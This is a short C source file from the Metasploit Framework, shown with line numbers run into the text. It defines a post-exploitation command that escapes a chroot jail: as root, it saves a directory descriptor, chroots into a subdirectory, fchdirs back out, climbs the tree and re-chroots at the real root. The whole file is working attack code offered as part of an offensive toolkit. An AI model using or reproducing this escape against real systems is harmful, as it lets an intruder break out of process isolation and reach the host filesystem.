Path: blob/master/external/source/ipwn/cmd_expl.c
19664 views
/*1* Copyright (c) 2004-2005 vlad902 <vlad902 [at] gmail.com>2* This file is part of the Metasploit Framework.3* $Revision$4*/56#include <stdio.h>7#include <errno.h>8#include <fcntl.h>9#include <string.h>10#include <unistd.h>11#include <sys/stat.h>12#include <sys/types.h>1314#include "cmd.h"151617void cmd_fchdir_breakchroot(int argc, char * argv[])18{19int loop;20int dir_fd;21struct stat sstat;2223if(getuid())24{25printf("Not root...\n");26return;27}2829if(stat(argv[1], &sstat) < 0)30{31perror("stat");32return;33}34if(!S_ISDIR(sstat.st_mode))35{36printf("%s is not a directory.\n", argv[1]);37return;38}3940if((dir_fd = open(".", O_RDONLY)) == -1)41{42perror("open");43return;44}4546if(chroot(argv[1]) == -1)47{48perror("chroot");49return;50}5152if(fchdir(dir_fd) == -1)53{54perror("fchdir");55return;56}5758close(dir_fd);5960for(loop = 0; loop < 256; loop++)61chdir("..");6263chroot(".");64}656667